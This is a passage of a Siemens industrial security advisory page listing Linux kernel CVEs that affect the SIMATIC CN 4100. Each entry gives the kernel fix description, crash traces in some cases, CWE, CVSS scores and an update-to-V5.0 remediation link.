String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38699\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: scsi: bfa: Double-free fix When the bfad_im_probe() function fails during initialization, the memory pointed to by bfad->im is freed without setting bfad->im to NULL. Subsequently, during driver uninstallation, when the state machine enters the bfad_sm_stopping state and calls the bfad_im_probe_undo() function, it attempts to free the memory pointed to by bfad->im again, thereby triggering a double-free vulnerability. Set bfad->im to NULL if probing fails.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-415 Double Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n6.4\nMEDIUM\nCVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38700\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: scsi: libiscsi: Initialize iscsi_conn->dd_data only if memory is allocated In case of an ib_fast_reg_mr allocation failure during iSER setup, the machine hits a panic because iscsi_conn->dd_data is initialized unconditionally, even when no memory is allocated (dd_size == 0). This leads invalid pointer dereference during connection teardown. Fix by setting iscsi_conn->dd_data only if memory is actually allocated. Panic trace: ------------ iser: iser_create_fastreg_desc: Failed to allocate ib_fast_reg_mr err=-12 iser: iser_alloc_rx_descriptors: failed allocating rx descriptors / data buffers BUG: unable to handle page fault for address: fffffffffffffff8 RIP: 0010:swake_up_locked.part.5+0xa/0x40 Call Trace: complete+0x31/0x40 iscsi_iser_conn_stop+0x88/0xb0 [ib_iser] iscsi_stop_conn+0x66/0xc0 [scsi_transport_iscsi] iscsi_if_stop_conn+0x14a/0x150 [scsi_transport_iscsi] iscsi_if_rx+0x1135/0x1834 [scsi_transport_iscsi] ? netlink_lookup+0x12f/0x1b0 ? netlink_deliver_tap+0x2c/0x200 netlink_unicast+0x1ab/0x280 netlink_sendmsg+0x257/0x4f0 ? _copy_from_user+0x29/0x60 sock_sendmsg+0x5f/0x70\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38701\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ext4: do not BUG when INLINE_DATA_FL lacks system.data xattr A syzbot fuzzed image triggered a BUG_ON in ext4_update_inline_data() when an inode had the INLINE_DATA_FL flag set but was missing the system.data extended attribute. Since this can happen due to a maiciouly fuzzed file system, we shouldn't BUG, but rather, report it as a corrupted file system. Add similar replacements of BUG_ON with EXT4_ERROR_INODE() ii ext4_create_inline_data() and ext4_inline_data_truncate().\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-617 Reachable Assertion\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38702\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: fbdev: fix potential buffer overflow in do_register_framebuffer() The current implementation may lead to buffer overflow when: 1. Unregistration creates NULL gaps in registered_fb[] 2. All array slots become occupied despite num_registered_fb < FB_MAX 3. The registration loop exceeds array bounds Add boundary check to prevent registered_fb[FB_MAX] access.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-787 Out-of-bounds Write\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38706\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ASoC: core: Check for rtd == NULL in snd_soc_remove_pcm_runtime() snd_soc_remove_pcm_runtime() might be called with rtd == NULL which will leads to null pointer dereference. This was reproduced with topology loading and marking a link as ignore due to missing hardware component on the system. On module removal the soc_tplg_remove_link() would call snd_soc_remove_pcm_runtime() with rtd == NULL since the link was ignored, no runtime was created.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38707\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: fs/ntfs3: Add sanity check for file name The length of the file name should be smaller than the directory entry size.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38708\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: drbd: add missing kref_get in handle_write_conflicts With `two-primaries` enabled, DRBD tries to detect \"concurrent\" writes and handle write conflicts, so that even if you write to the same sector simultaneously on both nodes, they end up with the identical data once the writes are completed. In handling \"superseeded\" writes, we forgot a kref_get, resulting in a premature drbd_destroy_device and use after free, and further to kernel crashes with symptoms. Relevance: No one should use DRBD as a random data generator, and apparently all users of \"two-primaries\" handle concurrent writes correctly on layer up. That is cluster file systems use some distributed lock manager, and live migration in virtualization environments stops writes on one node before starting writes on the other node. Which means that other than for \"test cases\", this code path is never taken in real life. FYI, in DRBD 9, things are handled differently nowadays. We still detect \"write conflicts\", but no longer try to be smart about them. We decided to disconnect hard instead: upper layers must not submit concurrent writes. If they do, that's their fault.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-416 Use After Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38711\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: smb/server: avoid deadlock when linking with ReplaceIfExists If smb2_create_link() is called with ReplaceIfExists set and the name does exist then a deadlock will happen. ksmbd_vfs_kern_path_locked() will return with success and the parent directory will be locked. ksmbd_vfs_remove_file() will then remove the file. ksmbd_vfs_link() will then be called while the parent is still locked. It will try to lock the same parent and will deadlock. This patch moves the ksmbd_vfs_kern_path_unlock() call to *before* ksmbd_vfs_link() and then simplifies the code, removing the file_present flag variable.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38712\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: hfsplus: don't use BUG_ON() in hfsplus_create_attributes_file() When the volume header contains erroneous values that do not reflect the actual state of the filesystem, hfsplus_fill_super() assumes that the attributes file is not yet created, which later results in hitting BUG_ON() when hfsplus_create_attributes_file() is called. Replace this BUG_ON() with -EIO error with a message to suggest running fsck tool.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38713\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: hfsplus: fix slab-out-of-bounds read in hfsplus_uni2asc() The hfsplus_readdir() method is capable to crash by calling hfsplus_uni2asc(): [ 667.121659][ T9805] ================================================================== [ 667.122651][ T9805] BUG: KASAN: slab-out-of-bounds in hfsplus_uni2asc+0x902/0xa10 [ 667.123627][ T9805] Read of size 2 at addr ffff88802592f40c by task repro/9805 [ 667.124578][ T9805] [ 667.124876][ T9805] CPU: 3 UID: 0 PID: 9805 Comm: repro Not tainted 6.16.0-rc3 #1 PREEMPT(full) [ 667.124886][ T9805] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 667.124890][ T9805] Call Trace: [ 667.124893][ T9805] [ 667.124896][ T9805] dump_stack_lvl+0x10e/0x1f0 [ 667.124911][ T9805] print_report+0xd0/0x660 [ 667.124920][ T9805] ? __virt_addr_valid+0x81/0x610 [ 667.124928][ T9805] ? __phys_addr+0xe8/0x180 [ 667.124934][ T9805] ? hfsplus_uni2asc+0x902/0xa10 [ 667.124942][ T9805] kasan_report+0xc6/0x100 [ 667.124950][ T9805] ? hfsplus_uni2asc+0x902/0xa10 [ 667.124959][ T9805] hfsplus_uni2asc+0x902/0xa10 [ 667.124966][ T9805] ? hfsplus_bnode_read+0x14b/0x360 [ 667.124974][ T9805] hfsplus_readdir+0x845/0xfc0 [ 667.124984][ T9805] ? __pfx_hfsplus_readdir+0x10/0x10 [ 667.124994][ T9805] ? stack_trace_save+0x8e/0xc0 [ 667.125008][ T9805] ? iterate_dir+0x18b/0xb20 [ 667.125015][ T9805] ? trace_lock_acquire+0x85/0xd0 [ 667.125022][ T9805] ? lock_acquire+0x30/0x80 [ 667.125029][ T9805] ? iterate_dir+0x18b/0xb20 [ 667.125037][ T9805] ? down_read_killable+0x1ed/0x4c0 [ 667.125044][ T9805] ? putname+0x154/0x1a0 [ 667.125051][ T9805] ? __pfx_down_read_killable+0x10/0x10 [ 667.125058][ T9805] ? apparmor_file_permission+0x239/0x3e0 [ 667.125069][ T9805] iterate_dir+0x296/0xb20 [ 667.125076][ T9805] __x64_sys_getdents64+0x13c/0x2c0 [ 667.125084][ T9805] ? __pfx___x64_sys_getdents64+0x10/0x10 [ 667.125091][ T9805] ? __x64_sys_openat+0x141/0x200 [ 667.125126][ T9805] ? __pfx_filldir64+0x10/0x10 [ 667.125134][ T9805] ? do_user_addr_fault+0x7fe/0x12f0 [ 667.125143][ T9805] do_syscall_64+0xc9/0x480 [ 667.125151][ T9805] entry_SYSCALL_64_after_hwframe+0x77/0x7f [ 667.125158][ T9805] RIP: 0033:0x7fa8753b2fc9 [ 667.125164][ T9805] Code: 00 c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 48 [ 667.125172][ T9805] RSP: 002b:00007ffe96f8e0f8 EFLAGS: 00000217 ORIG_RAX: 00000000000000d9 [ 667.125181][ T9805] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007fa8753b2fc9 [ 667.125185][ T9805] RDX: 0000000000000400 RSI: 00002000000063c0 RDI: 0000000000000004 [ 667.125190][ T9805] RBP: 00007ffe96f8e110 R08: 00007ffe96f8e110 R09: 00007ffe96f8e110 [ 667.125195][ T9805] R10: 0000000000000000 R11: 0000000000000217 R12: 0000556b1e3b4260 [ 667.125199][ T9805] R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000 [ 667.125207][ T9805] [ 667.125210][ T9805] [ 667.145632][ T9805] Allocated by task 9805: [ 667.145991][ T9805] kasan_save_stack+0x20/0x40 [ 667.146352][ T9805] kasan_save_track+0x14/0x30 [ 667.146717][ T9805] __kasan_kmalloc+0xaa/0xb0 [ 667.147065][ T9805] __kmalloc_noprof+0x205/0x550 [ 667.147448][ T9805] hfsplus_find_init+0x95/0x1f0 [ 667.147813][ T9805] hfsplus_readdir+0x220/0xfc0 [ 667.148174][ T9805] iterate_dir+0x296/0xb20 [ 667.148549][ T9805] __x64_sys_getdents64+0x13c/0x2c0 [ 667.148937][ T9805] do_syscall_64+0xc9/0x480 [ 667.149291][ T9805] entry_SYSCALL_64_after_hwframe+0x77/0x7f [ 667.149809][ T9805] [ 667.150030][ T9805] The buggy address belongs to the object at ffff88802592f000 [ 667.150030][ T9805] which belongs to the cache kmalloc-2k of size 2048 [ 667.151282][ T9805] The buggy address is located 0 bytes to the right of [ 667.151282][ T9805] allocated 1036-byte region [ffff88802592f000, ffff88802592f40c) [ 667.1 ---truncated---\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38714\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: hfsplus: fix slab-out-of-bounds in hfsplus_bnode_read() The hfsplus_bnode_read() method can trigger the issue: [ 174.852007][ T9784] ================================================================== [ 174.852709][ T9784] BUG: KASAN: slab-out-of-bounds in hfsplus_bnode_read+0x2f4/0x360 [ 174.853412][ T9784] Read of size 8 at addr ffff88810b5fc6c0 by task repro/9784 [ 174.854059][ T9784] [ 174.854272][ T9784] CPU: 1 UID: 0 PID: 9784 Comm: repro Not tainted 6.16.0-rc3 #7 PREEMPT(full) [ 174.854281][ T9784] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 174.854286][ T9784] Call Trace: [ 174.854289][ T9784] [ 174.854292][ T9784] dump_stack_lvl+0x10e/0x1f0 [ 174.854305][ T9784] print_report+0xd0/0x660 [ 174.854315][ T9784] ? __virt_addr_valid+0x81/0x610 [ 174.854323][ T9784] ? __phys_addr+0xe8/0x180 [ 174.854330][ T9784] ? hfsplus_bnode_read+0x2f4/0x360 [ 174.854337][ T9784] kasan_report+0xc6/0x100 [ 174.854346][ T9784] ? hfsplus_bnode_read+0x2f4/0x360 [ 174.854354][ T9784] hfsplus_bnode_read+0x2f4/0x360 [ 174.854362][ T9784] hfsplus_bnode_dump+0x2ec/0x380 [ 174.854370][ T9784] ? __pfx_hfsplus_bnode_dump+0x10/0x10 [ 174.854377][ T9784] ? hfsplus_bnode_write_u16+0x83/0xb0 [ 174.854385][ T9784] ? srcu_gp_start+0xd0/0x310 [ 174.854393][ T9784] ? __mark_inode_dirty+0x29e/0xe40 [ 174.854402][ T9784] hfsplus_brec_remove+0x3d2/0x4e0 [ 174.854411][ T9784] __hfsplus_delete_attr+0x290/0x3a0 [ 174.854419][ T9784] ? __pfx_hfs_find_1st_rec_by_cnid+0x10/0x10 [ 174.854427][ T9784] ? __pfx___hfsplus_delete_attr+0x10/0x10 [ 174.854436][ T9784] ? __asan_memset+0x23/0x50 [ 174.854450][ T9784] hfsplus_delete_all_attrs+0x262/0x320 [ 174.854459][ T9784] ? __pfx_hfsplus_delete_all_attrs+0x10/0x10 [ 174.854469][ T9784] ? rcu_is_watching+0x12/0xc0 [ 174.854476][ T9784] ? __mark_inode_dirty+0x29e/0xe40 [ 174.854483][ T9784] hfsplus_delete_cat+0x845/0xde0 [ 174.854493][ T9784] ? __pfx_hfsplus_delete_cat+0x10/0x10 [ 174.854507][ T9784] hfsplus_unlink+0x1ca/0x7c0 [ 174.854516][ T9784] ? __pfx_hfsplus_unlink+0x10/0x10 [ 174.854525][ T9784] ? down_write+0x148/0x200 [ 174.854532][ T9784] ? __pfx_down_write+0x10/0x10 [ 174.854540][ T9784] vfs_unlink+0x2fe/0x9b0 [ 174.854549][ T9784] do_unlinkat+0x490/0x670 [ 174.854557][ T9784] ? __pfx_do_unlinkat+0x10/0x10 [ 174.854565][ T9784] ? __might_fault+0xbc/0x130 [ 174.854576][ T9784] ? getname_flags.part.0+0x1c5/0x550 [ 174.854584][ T9784] __x64_sys_unlink+0xc5/0x110 [ 174.854592][ T9784] do_syscall_64+0xc9/0x480 [ 174.854600][ T9784] entry_SYSCALL_64_after_hwframe+0x77/0x7f [ 174.854608][ T9784] RIP: 0033:0x7f6fdf4c3167 [ 174.854614][ T9784] Code: f0 ff ff 73 01 c3 48 8b 0d 26 0d 0e 00 f7 d8 64 89 01 48 83 c8 ff c3 66 2e 0f 1f 84 00 00 00 00 08 [ 174.854622][ T9784] RSP: 002b:00007ffcb948bca8 EFLAGS: 00000206 ORIG_RAX: 0000000000000057 [ 174.854630][ T9784] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f6fdf4c3167 [ 174.854636][ T9784] RDX: 00007ffcb948bcc0 RSI: 00007ffcb948bcc0 RDI: 00007ffcb948bd50 [ 174.854641][ T9784] RBP: 00007ffcb948cd90 R08: 0000000000000001 R09: 00007ffcb948bb40 [ 174.854645][ T9784] R10: 00007f6fdf564fc0 R11: 0000000000000206 R12: 0000561e1bc9c2d0 [ 174.854650][ T9784] R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000 [ 174.854658][ T9784] [ 174.854661][ T9784] [ 174.879281][ T9784] Allocated by task 9784: [ 174.879664][ T9784] kasan_save_stack+0x20/0x40 [ 174.880082][ T9784] kasan_save_track+0x14/0x30 [ 174.880500][ T9784] __kasan_kmalloc+0xaa/0xb0 [ 174.880908][ T9784] __kmalloc_noprof+0x205/0x550 [ 174.881337][ T9784] __hfs_bnode_create+0x107/0x890 [ 174.881779][ T9784] hfsplus_bnode_find+0x2d0/0xd10 [ 174.882222][ T9784] hfsplus_brec_find+0x2b0/0x520 [ 174.882659][ T9784] hfsplus_delete_all_attrs+0x23b/0x3 ---truncated---\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38715\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: hfs: fix slab-out-of-bounds in hfs_bnode_read() This patch introduces is_bnode_offset_valid() method that checks the requested offset value. Also, it introduces check_and_correct_requested_length() method that checks and correct the requested length (if it is necessary). These methods are used in hfs_bnode_read(), hfs_bnode_write(), hfs_bnode_clear(), hfs_bnode_copy(), and hfs_bnode_move() with the goal to prevent the access out of allocated memory and triggering the crash.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38721\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: netfilter: ctnetlink: fix refcount leak on table dump There is a reference count leak in ctnetlink_dump_table(): if (res < 0) { nf_conntrack_get(&ct->ct_general); // HERE cb->args[1] = (unsigned long)ct; ... While its very unlikely, its possible that ct == last. If this happens, then the refcount of ct was already incremented. This 2nd increment is never undone. This prevents the conntrack object from being released, which in turn keeps prevents cnet->count from dropping back to 0. This will then block the netns dismantle (or conntrack rmmod) as nf_conntrack_cleanup_net_list() will wait forever. This can be reproduced by running conntrack_resize.sh selftest in a loop. It takes ~20 minutes for me on a preemptible kernel on average before I see a runaway kworker spinning in nf_conntrack_cleanup_net_list. One fix would to change this to: if (res < 0) { if (ct != last) nf_conntrack_get(&ct->ct_general); But this reference counting isn't needed in the first place. We can just store a cookie value instead. A followup patch will do the same for ctnetlink_exp_dump_table, it looks to me as if this has the same problem and like ctnetlink_dump_table, we only need a 'skip hint', not the actual object so we can apply the same cookie strategy there as well.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-772 Missing Release of Resource after Effective Lifetime\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38723\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: LoongArch: BPF: Fix jump offset calculation in tailcall The extra pass of bpf_int_jit_compile() skips JIT context initialization which essentially skips offset calculation leaving out_offset = -1, so the jmp_offset in emit_bpf_tail_call is calculated by \"#define jmp_offset (out_offset - (cur_offset))\" is a negative number, which is wrong. The final generated assembly are as follow. 54: bgeu $a2, $t1, -8 # 0x0000004c 58: addi.d $a6, $s5, -1 5c: bltz $a6, -16 # 0x0000004c 60: alsl.d $t2, $a2, $a1, 0x3 64: ld.d $t2, $t2, 264 68: beq $t2, $zero, -28 # 0x0000004c Before apply this patch, the follow test case will reveal soft lock issues. cd tools/testing/selftests/bpf/ ./test_progs --allow=tailcalls/tailcall_bpf2bpf_1 dmesg: watchdog: BUG: soft lockup - CPU#2 stuck for 26s! [test_progs:25056]\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38724\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: nfsd: handle get_client_locked() failure in nfsd4_setclientid_confirm() Lei Lu recently reported that nfsd4_setclientid_confirm() did not check the return value from get_client_locked(). a SETCLIENTID_CONFIRM could race with a confirmed client expiring and fail to get a reference. That could later lead to a UAF. Fix this by getting a 